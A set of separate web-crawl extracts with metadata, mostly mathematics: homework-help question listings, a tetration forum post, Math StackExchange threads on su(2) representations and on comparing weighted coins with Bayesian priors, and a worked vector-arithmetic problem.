much to eat these grapes... Thursday, October 29, 2015 by Victoria English/Writing Write brief accounts upon the nursery rhyme from the indicated point of view: "Little Jack Horner" 1. Jack's mother's comments on his sticking his finger in the pie. "Oh, Jack! How could you?! That pie was to be eaten after the Christmas feast!" 2. ... Thursday, October 29, 2015 by Victoria Math Sarah starts at a point 26 miles from school and runs toward school at 6 miles per hour. Ryan starts from school 1.3 hours later and runs towards Sarah at 8 miles per hour. Let x be the number of hours Sarah has been running Write an expression in terms of x for the distance ... Thursday, October 29, 2015 by Julie Ave maria catholic secondary school an aeroplane leaves an airport,flies due north for two hours at 500km/hr.it then flies 450km on a bearing 053.how far is the plane from the airport and what is its bearing from bearing from east Thursday, October 29, 2015 by Mercy Pre-Calculus Use the CALC features of the TI to answer the following. Show what you put into the calculator & what CALC feature you used. Round to the nearest tenths. The equation h = 20 cos (π/4 (t-3)) + 23 tells how high above the ground a ferris wheel car is at any given time. h is... Thursday, October 29, 2015 by Clarice English/Writing Explain the point of view for each of the following: A. Participant 1: teenager Partcipant 2: father Situation: family car on a date A: The teenager is excited to be driving the family car on his date. The father is worried that some damage may come upon the car. B. ... Thursday, October 29, 2015 by Victoria Spanish what is the most likely the reason that Spanish-speaking students in Costa Rica, Mexico, and Argentina all learn a second language in school? a. Spanish is a common language b. Spanish is not understood by many people c. it is important to be able to communicate in more than ... Thursday, October 29, 2015 by Kaai97 Language Arts The directions are underline the nouns in the sentence and say if they are common, proper or collective. 1. He gave me a bunch of grapes. -underline the word bunch which is collective 2. London is on the river Thames. -underline London and Thames which are both proper 3. The ... Thursday, October 29, 2015 by Patrick math jonathan purchases calculators for his math club after school. the total cost (t) is \$325 for 25 calculators (c). what is the equation that represents this proportional relationship Wednesday, October 28, 2015 by enmanuel mejia Math Sixty girls were scheduled to paint flower pots for the school's annual fair. When 3 of the girls became sick the rest of the girls had to paint 8 more flower pots each how many flower pots did they have to paint altogether ? Wednesday, October 28, 2015 by Jen precalc h = -15 sin (π/7 (t-2)) + 42 h is the height of the ball above the floors in inches at time t seconds 1) what is the highest the ball will ever bounce? 2) when is the first time the ball bounces that high? 3) write a general expression for the times at which the ball is ... Wednesday, October 28, 2015 by yani Math In a high school reunion, the organizers decided to sell 1500 raffle tickets at 1000 each for the four prizes of 250,000 125,000 75,000 50,000 What is the expected value of one ticket? I got -670, is this correct? Thanks! Wednesday, October 28, 2015 by Jen Math If you are 15 how old will you be when you get out of high school? Wednesday, October 28, 2015 by Aaliyah chem How would your experimental formula of magnesium chloride “MgClx” have been affected if your product was not dried completely before weighing it? Would “x” be too high or two low? Wednesday, October 28, 2015 by charles Geography 10. Which of the following best describes a nations resistance towards immigration despite having an aging population. A. The Japanese government discourages interracial couples and encourages homogeneity of the population. B. China implemented a one-child policy to reduce a ... Tuesday, October 27, 2015 by Geog Math Trina works after school and on weekends. She always works three days each week. This week she worked 2 3/4 hrs on Monday. 3 3/5 hrs on Friday and 5 1/2 hrs on Saturday. Next week she plans to work the same number of hrs as this week but will work the same number of hrs each ... Tuesday, October 27, 2015 by Crystal Physics A 200 N box is pushed up an incline 10 m long and 3 m high. The average force (parallel to the plane) is 120 N. a.) How much work is done? b.) What is the change in the PE of the box? c.) What is the change in KE of the box? d.) What is the frictional force on the box? Tuesday, October 27, 2015 by Ana physics A boy in a wheelchair (total mass, 46.0kg) wins a race with a skateboarder. He has a speed of 1.33m/s at the crest of a slope 2.24m high and 13.2m long. At the bottom of the slope, his speed is 6.35m/s. If air resistance and rolling resistance can be modeled as a constant ... Tuesday, October 27, 2015 by Juicy 11 Grade College Prep Math-Based Physics Not good at physics, so could someone check these practice test questions please? Explanations are appreciated. 1. Which of Newton's Laws says you cannot touch anything without being touched? a) 4th b) 2nd c) 1st d) 3rd * 2. A 3.00 kg ball is dropped from rest from the ... Tuesday, October 27, 2015 by Ana Physics A 200 N box is pushed up an incline 10 m long and 3 m high. The average force (parallel to the plane) is 120 N. a.) How much work is done? b.) What is the change in the PE of the box? c.) What is the change in KE of the box? d.) What is the frictional force on the box? Tuesday, October 27, 2015 by Ana language Which of the following is a complete sentence? A. When I was young and ambitious and loved going for walks in the park. B. Running through the park and around the school before breakfast. C. Walking with a limp as a result of the wreck. D. I went walking. Tuesday, October 27, 2015 by alixie science a skater with a mass of 65kg,reaches the bottom of a ramp ,2.5 metres high ,going at 27km.h-1. calculate his kinetic energy as he reaches the ramp calculate how fast he is going by the time he reaches the top of the ramp Tuesday, October 27, 2015 by zinhle National school A dilute solution of sulfuric acid is added to 15g of copper and iron mixture. a) write the balanced equation for the occuring reaction. b) the volume of H2 evolved at standard conditions is 4.48L, what is the mass of each of the metals constituting the mixture? Vm=24mol.L-1 Tuesday, October 27, 2015 by Maha	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.40337252616882324, "perplexity": 1873.7379582377798}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-26/segments/1466783393332.57/warc/CC-MAIN-20160624154953-00100-ip-10-164-35-72.ec2.internal.warc.gz"}
https://www.lessonplanet.com/teachers/scotts-big-decision-a-look-at-the-decision-making-process	# Scott's Big Decision, A Look at the Decision Making Process Students define the problem, list alternatives, state criteria to consider, and evaluate alternatives in terms of chosen criteria, through a chart, then interpret the chart to arrive at a decision. Resource Details	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8162816166877747, "perplexity": 3158.84338394361}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-26/segments/1498128329372.0/warc/CC-MAIN-20170629154125-20170629174125-00486.warc.gz"}
https://maker.pro/forums/forums/power-electronics.182/page-56	# Power Electronics A category for topics relating to power supplies, batteries, solar and other power related questions. Replies 1 Views 2K Replies 2 Views 2K Replies 0 Views 2K Replies 0 Views 1K Replies 0 Views 2K Replies 0 Views 2K Replies 0 Views 2K Replies 0 Views 2K Replies 0 Views 1K Replies 0 Views 1K Replies 0 Views 2K Replies 1 Views 2K Replies 1 Views 2K Replies 0 Views 1K Replies 0 Views 3K	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9359983205795288, "perplexity": 18670.92075094455}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296945381.91/warc/CC-MAIN-20230326013652-20230326043652-00736.warc.gz"}
http://math.eretrandre.org/tetrationforum/showthread.php?tid=578&pid=5559&mode=threaded	• 0 Vote(s) - 0 Average • 1 • 2 • 3 • 4 • 5 Nowhere analytic superexponential convergence tommy1729 Ultimate Fellow Posts: 1,372 Threads: 336 Joined: Feb 2009 01/30/2011, 06:48 PM (01/29/2011, 11:53 PM)bo198214 Wrote: (01/29/2011, 08:59 PM)tommy1729 Wrote: well according to Bo it is not real-analytic and it doesnt have a radius , and according to mike it does have a radius. I was not talking about $\log^{[n]}(\exp^{[n]}(x))$ which is for each $n$ the identity function. Of course it is real-analytic, even entire. I was talking about tommysexp construction and the basechange. In each step it has a radius of convergence, which though diminishes to 0 for $n\to\infty$. and here you are wrong. you say $\log^{[n]}(\exp^{[n]}(x))$ is entire. it is not. i suggest you plot $\log^{[2]}(\exp^{[2]}(z))$ MINUS z on the complex plane ; and see ' how entire it actually is '. in fact even log(exp(z)) is not entire. hint : log(exp(z)) is periodic and id(z) is not. regards tommy1729 « Next Oldest \| Next Newest » Messages In This Thread Nowhere analytic superexponential convergence - by sheldonison - 01/20/2011, 05:23 PM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/21/2011, 12:21 AM RE: Nowhere analytic superexponential convergence - by sheldonison - 01/26/2011, 12:49 AM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/26/2011, 11:17 PM RE: Nowhere analytic superexponential convergence - by bo198214 - 01/28/2011, 11:29 PM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/29/2011, 12:03 AM RE: Nowhere analytic superexponential convergence - by bo198214 - 01/29/2011, 10:21 AM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/29/2011, 03:26 PM RE: Nowhere analytic superexponential convergence - by mike3 - 01/29/2011, 08:41 PM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/29/2011, 08:59 PM RE: Nowhere analytic superexponential convergence - by bo198214 - 01/29/2011, 11:53 PM RE: Nowhere analytic superexponential convergence - by tommy1729 - 01/30/2011, 06:48 PM RE: Nowhere analytic superexponential convergence - by bo198214 - 01/31/2011, 04:00 AM RE: Nowhere analytic superexponential convergence - by sheldonison - 01/31/2011, 04:47 AM RE: Nowhere analytic superexponential convergence - by sheldonison - 02/10/2011, 07:22 AM Possibly Related Threads... Thread Author Replies Views Last Post [repost] A nowhere analytic infinite sum for tetration. tommy1729 0 1,646 03/20/2018, 12:16 AM Last Post: tommy1729 Analytic matrices and the base units Xorter 2 3,153 07/19/2017, 10:34 AM Last Post: Xorter Non-analytic Xorter 0 1,813 04/04/2017, 10:38 PM Last Post: Xorter A conjectured uniqueness criteria for analytic tetration Vladimir Reshetnikov 13 14,274 02/17/2017, 05:21 AM Last Post: JmsNxn Is bounded tetration is analytic in the base argument? JmsNxn 0 1,789 01/02/2017, 06:38 AM Last Post: JmsNxn Are tetrations fixed points analytic? JmsNxn 2 3,806 12/14/2016, 08:50 PM Last Post: JmsNxn The bounded analytic semiHyper-operators JmsNxn 2 4,437 05/27/2016, 04:03 AM Last Post: JmsNxn Periodic analytic iterations by Riemann mapping tommy1729 1 2,822 03/05/2016, 10:07 PM Last Post: tommy1729 Bounded Analytic Hyper operators JmsNxn 25 25,379 04/01/2015, 06:09 PM Last Post: MphLee Real-analytic tetration uniqueness criterion? mike3 25 26,187 06/15/2014, 10:17 PM Last Post: tommy1729 Users browsing this thread: 1 Guest(s)	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 5, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9038489460945129, "perplexity": 16930.797771012767}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600400213454.52/warc/CC-MAIN-20200924034208-20200924064208-00187.warc.gz"}
http://math.stackexchange.com/questions/103576/the-systematic-method-for-the-explicit-construction-of-representations-of-su2	# The systematic method for the explicit construction of representations of su(2) algebra? (e.g. pauli matrices) How do I construct the su(2) representations of a given dimension? - There are many ways but it's a rather lenghty derivation if you want to find all representations. I don't think people here will serve you the whole derivation. And I'm talking about finite dimensional representations here. The usual way is to reformulate the algebra with raising and lowering operators and use these to construct the representation of the desired dimension. This is done by loads and loads of (computationally simple) eigenvector business. You will find all the answer you're looking for in standard textbooks, for example An Elementary Introduction to Groups and Representations by Brian Hall. Anyway, here is a direct path to construct a complex representation of any dimension: You get the Lie Algebra $\text{su}(2)$ as the tangent space of the Lie Group $SU(2)$ at the unit element. How to get the $m$-dimensional, irreducible representations? You know the fundamental, two dimensional representation acting on vectors $z=(z_1,z_2)$, i.e. the set of unitarily matrices $U$ with complex entries and determinant $1$. Now consider the polynomials of the form $$p_{m+1}(z)\equiv p_{m+1}(z_1,z_2)=a_0 z_1^m+a_1z_1^{m-1}z_2+a_2z_1^{m-2}z_2^2+ \cdots+ a_{m-1}z_1z_2^{m-1}+a_{m}z_2^{m},$$ viewed as vector space with elements $a=(a_0,a_1, \ldots, a_m)$, then $$\Pi_{m+1}(U):p_{m+1}(z)\longrightarrow p_{m+1}(U^{-1}z),$$ is an $m+1$-dimensional representation. You can sit down with pen and paper, choose a small $m$ and watch how $U^{-1}$ messes up the coefficients of the polynomial (i.e. maps to another vector) for yourself. Consider a set of $a$-basis vectors and you have your $m+1$ dimensional $\Pi_{m+1}(U)$ matrix. Now express $U$ it terms of the three angles ($SU(3)$ is a three dimensional manifold), compute the derivatives in all directions, set the angles to zero and you have your Lie algebra basis. You also find odd dimensional representations by considering representations of $SO(3)$, so you might wanna study the behaviour of subsets of spherical hermonics under rotation. -	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9061277508735657, "perplexity": 155.08637950098998}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-48/segments/1448398468971.92/warc/CC-MAIN-20151124205428-00290-ip-10-71-132-137.ec2.internal.warc.gz"}
https://math.stackexchange.com/questions/33558/two-weighted-coins-determining-which-has-a-higher-probability-of-landing-heads	# Two weighted coins, determining which has a higher probability of landing heads A friend of mine asked me the following question, and I am not sure how to solve it: You are given two weighted coins, $C_1$ and $C_2$. Coin $C_1$ has probability $p_1$ of landing heads and $C_2$ has probability $p_2$ of landing heads. The following experiment is preformed: Coin $C_1$ is flipped 3 times, and lands heads 3 times. Coin $C_2$ is flipped 10 times, and lands heads 7 times. Based on this experiment, choose the coin which is more likely to have a higher probability of being heads. In other words, which is more likely: $p_1>p_2$ or $p_2>p_1$. Intuition tells me coin $C_1$ is the better choice, but this could be wrong, and I am wondering how do you solve this in general. Consider the experiment, $C_1$ is flipped $n_1$ times and lands heads $m_1$ times, $C_2$ is flipped $n_2$ times and lands heads $m_2$ times. Thanks for the help, Edit: I think this might answer some questions: Suppose that the probabilities of the coins, $p_1$ and $p_2$ are chosen uniformly from $[0,1]$. • You really need a prior distribution for how "weighted" the coins may be, and then use Bayesian techniques. – Henry Apr 18 '11 at 0:18 • I would be very interested in seeing a "prior-free", possibly frequentist, approach to this problem, if there is such a thing. I feel like Bayesian techniques get all the press these days. – Rahul Apr 18 '11 at 0:20 • I wonder if you can do this with nonparameteric statistics. The only test I can think of requires that the two sequences have the same length, i.e. $n_1=n_2$ and that's pretty dull here. – Carl Brannen Apr 18 '11 at 0:49 • @Rahul: The question "which is more likely: $p_1 > p_2$ or $p_2 > p_2$" cries out for a solution which treats both as uncertain. – Henry Apr 18 '11 at 1:15 • @Eric: Yes - you get a figure of about 0.758 for the chance $p_1 > p_2$ – Henry Apr 18 '11 at 8:58 Given a specific probability $p$ of heads, the probability of getting $h$ heads and $t$ tails is just the binomial distribution: $P(H = h, T = t \| n, p) = p^h (1-p)^t {n \choose h}$ (though we consider $p$ as varying, rather than $n$ and $h$. With a uniform prior $g(p) = 1$, that probability is just the weight. The integral of this is $\frac{1}{1 + h + t}$, giving a probability density of $(1 + h + t) p^h (1-p)^t {n \choose h}$. The mean is the integral of $p$ times this, is $(1 + h + t) \int p^{(h+1)} (1-p)^t {n \choose h} dp$. Reusing the result from last time, we know that this must be $(1+h+t) {n \choose h}/{n+1 \choose h + 1}/(2+h+t) = (1+n)(h+1)/(n+1)(n+2) = (h+1)/(n+2)$. This is slightly "hedged toward the center" from the naïve estimator $h/n$ (which is the peak of the distribution). Another common prior that a Bayesian might use is the beta distribution. It's handy because it is a conjugate prior for the binomial distribution. After collecting data generated by the binomial distribution, the probability is still in the form of a beta distribution. In fact, the uniform prior is just the beta distribution with $\alpha = \beta = 1$. Heads and tail each just add one to the parameters $\alpha$ and $\beta$ respectively. The integrals were essentially worked out above -- factorials generalize to $\Gamma(x+1)$. It's often considered that this case of $\alpha = \beta = 1$ is too conservative, and that $\alpha = \beta = 1/2$ "assumes less" and "lets the data speak more". With the Uniform Prior (Beta(1,1)), $\overline{p} = (h+1)/(n+2)$: $C_1$, 3 heads, 0 tails: $\overline{p} = 4/5$ $C_2$, 7 heads, 3 tails: $\overline{p} = 8/12 = 2/3$ $C_1$ is expected to do better. With the Beta(1/2, 1/2) prior, $\overline{p} = (h+1/2)/(n+1) = (2h+1)/(2n+2)$: $C_1$, 3 heads, 0 tails: $\overline{p} = 7/8$ $C_2$, 7 heads, 3 tails: $\overline{p} = 15/22$ $C_1$ is expected to do better. Actually calculating the chances of $C_1$ being better than $C_2$ involve a rather nasty integral, but the calculated $p$ value is enough to tell you which is the better bet. • How do you prove that it's ok to compare estimators for $p_1$ and $p_2$ as you did here, instead of actually testing (or finding the probability of) the hypothesis that $p_1 > p_2$? It's intuitive, but does it not require proof? – ShreevatsaR Jun 2 '11 at 3:26 • Huh, you're right @ShreevatsaRt. This only gets $E[p_1 - p_2] > 0$, not $P(p_1 > p_2) > 1/2$. For most purposes what you want is the first, as payoffs are linear in $p$. – wnoise Jun 2 '11 at 13:45 As Henry mentions, I think one needs some information about the prior distributions of the weights. Denote by $r$ the weight of a coin. Suppose that the weight has some prior distribution $g(r)$. Let $f(r\|H=h, T=t)$ be the posterior probability density function of $r$ having observed $h$ heads and $t$ tails tossed. Bayes' Theorem tells us that: $$f(r\|H=h, T=t) = \frac{Pr(H=h\|r, N = h+t)g(r)}{\int_0^1 Pr(H=h\|r, N = h+t)g(r)\ dr}.$$ This should allow you to answer your question. Once you have the posterior pdf for each coin, just find their respective expected weights. You could do the integration which wnoise is talking about approximately using the following R code, and it is easily adapted to other cases: > n <- 1000000 # number of cases to simulate for integration > prior <- c(1,1) # Beta(1,1) is uniform prior > coin_1 <- c(3,0) # number of heads and tails observed > coin_2 <- c(7,3) # number of heads and tails observed > p_1 <- rbeta(n, prior[1]+coin_1[1], prior[2]+coin_1[2]) > p_2 <- rbeta(n, prior[1]+coin_2[1], prior[2]+coin_2[2]) > p_diff <- p_1 - p_2 > length(p_diff[p_diff > 0]) / n # proportion with p_1 > p_2 [1] 0.758118 I agree with the beta approach, but given the question, I think it makes more sense to plot out the results and compare visually: $$x$$ <- seq($$0,1,$$length $$= 1000$$) #set $$x$$ from $$0$$ to $$1$$ since we're looking at probabilities $$y_1$$ <- dbeta$$(x,4,1)$$ #calculate density based on a prior of $$[1,1]$$ and a posterior of $$[3,0]$$. $$y_2$$ <- dbeta$$(x,8,4)$$ #calculate density based on a prior of $$[1,1]$$ and a posterior of $$[7,3]$$. plot($$x,y_1$$,type = "l") #plot density of coin 1 in black lines($$x,y2$$,col $$= 2$$) #plot density of coin 2 in red This yields the following: Think of the densities as representing the "probability of probability". • Coin 1 (represented by the black line) has a higher probability of having a higher probability of showing heads. • Coin 2 (represented by the red line) has a lower probability of having a higher probability of showing heads (or a higher probability of having a lower probability of showing heads...).	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 17, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9393076300621033, "perplexity": 508.00992659230553}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987769323.92/warc/CC-MAIN-20191021093533-20191021121033-00289.warc.gz"}
http://math.stackexchange.com/questions/286009/proving-that-this-function-must-be-even-ii	# Proving that this function must be even (II) Suppose $g:\mathbb{R}^d\rightarrow\mathbb{R}$ is continuous. Also let $\mathbf{x}=(x_1,\ldots,x_d)\in\mathbb{R}^d$. I'd like to prove the following: If $$\int_{\mathbb{R}^d}x_k\exp(-\mathbf{x}^T\mathbf{x})f(g(x))\,d\mathbf{x}=0$$ for all bounded continuous functions $f$, then $g(\mathbf{x})=g(-\mathbf{x})$ for all $\mathbf{x}\in\mathbb{R}^d$, that is $g$ is an even function. - Something is missing here, I think. Right now you are integrating a vector-valued function - perhaps your integrand is supposed to be $\vert\textbf{x}\vert\exp(-\textbf{x}^\intercal\textbf{x})f(g(\textbf{x}))$? – icurays1 Jan 24 '13 at 19:06 Presumably the integral is the vector valued integral, ie, $[\int_{\mathbb{R}^d}\mathbf{x}\exp(-\mathbf{x}^T\mathbf{x})f(g(x))\,d\mathbf{x}‌]_k = \int_{\mathbb{R}^d}\mathbf{x_k}\exp(-\mathbf{x}^T\mathbf{x})f(g(x))\,d\mathbf{x}‌$. – copper.hat Jan 24 '13 at 19:31 Sorry I meant what copper.hat has written. Thanks for spotting the mistake! – red271 Jan 25 '13 at 8:24	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9916501045227051, "perplexity": 707.971653228741}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-23/segments/1405997894976.0/warc/CC-MAIN-20140722025814-00247-ip-10-33-131-23.ec2.internal.warc.gz"}
https://www.hackmath.net/en/math-problem/1225	# Vector - basic operations There are given points A [-9; -2] B [2; 16] C [16; -2] and D [12; 18] a. Determine the coordinates of the vectors u=AB v=CD s=DB b. Calculate the sum of the vectors u + v c. Calculate difference of vectors u-v d. Determine the coordinates of the vector w = -7.u ux = 11 uy = 18 vx = -4 vy = 20 sx = 10 sy = 2 (u+v)x = 7 (u+v)y = 38 (u-v)x = 15 (u-v)y = -2 wx = -77 wy = -126 ### Step-by-step explanation: $u=\left(2-\left(-9\right);16-\left(-2\right)\right)=\left(11;18\right)$ ${u}_{y}=16-\left(-2\right)=18$ $s=\left(12-\left(2\right);18-\left(16\right)\right)=\left(10;2\right)$ ${v}_{y}=18-\left(-2\right)=20$ ${s}_{x}=12-\left(2\right)=10$ ${s}_{y}=18-\left(16\right)=2$ $u+v=\left(11+\left(-4\right);18+\left(20\right)\right)=\left(7;38\right)$ $\left(u+v{\right)}_{y}=18+\left(20\right)=38$ $u-v=\left(11-\left(-4\right);18-\left(20\right)\right)=\left(15;-2\right)$ $\left(u-v{\right)}_{y}=18-\left(20\right)=-2$ $w=-7.u=\left(-7\cdot \left(11\right);-7\cdot \left(18\right)\right)=\left(-77;-126\right)$ We will be pleased if You send us any improvements to this math problem. Thank you! Tips to related online calculators Line slope calculator is helpful for basic calculations in analytic geometry. The coordinates of two points in the plane calculate slope, normal and parametric line equation(s), slope, directional angle, direction vector, the length of the segment, intersections of the coordinate axes, etc. Our vector sum calculator can add two vectors given by their magnitudes and by included angle. ## Related math problems and questions: • Vectors Vector a has coordinates (8; 10) and vector b has coordinates (0; 17). If the vector c = b - a, what is the magnitude of the vector c? • Vectors For vector w is true: w = 2u-5v. Determine coordinates of vector w if u=(3, -1), v=(12, -10) • Coordinates of vector Determine the coordinate of a vector u=CD if C(19;-7) and D(-16;-5) • Coordinates of a centroind Let’s A = [3, 2, 0], B = [1, -2, 4] and C = [1, 1, 1] be 3 points in space. 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Calculate: a) \|a+b\|, b) \|a\|+\|b\|, c) \|a-b\|, d) \|a\|-\|b\|. • Unit vector 2D Determine coordinates of unit vector to vector AB if A[-6; 8], B[-18; 10]. • Linear independence Determine if vectors u=(-4; -10) and v=(-2; -7) are linear dependent. • Three points Three points K (-3; 2), L (-1; 4), M (3, -4) are given. Find out: (a) whether the triangle KLM is right b) calculate the length of the line to the k side c) write the coordinates of the vector LM d) write the directional form of the KM side e) write the d • Space vectors 3D The vectors u = (1; 3; -4), v = (0; 1; 1) are given. Find the size of these vectors, calculate the angle of the vectors, the distance between the vectors. • Line Straight-line passing through points A [-3; 22] and B [33; -2]. Determine the total number of points of the line in which both coordinates are positive integers. • Cuboids Two separate cuboids with different orientation in space. Determine the angle between them, knowing the direction cosine matrix for each separate cuboid. u1=(0.62955056, 0.094432584, 0.77119944) u2=(0.14484653, 0.9208101, 0.36211633) • Points on circle In the Cartesian coordinate system with the origin O is a sketched circle k /O; r=2 cm/. Write all the points that lie on a circle k and whose coordinates are integers. Write all the points that lie on the circle I / O; r=5 cm / and whose coordinates are	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 11, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9131050705909729, "perplexity": 1975.923683767259}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988961.17/warc/CC-MAIN-20210509062621-20210509092621-00451.warc.gz"}
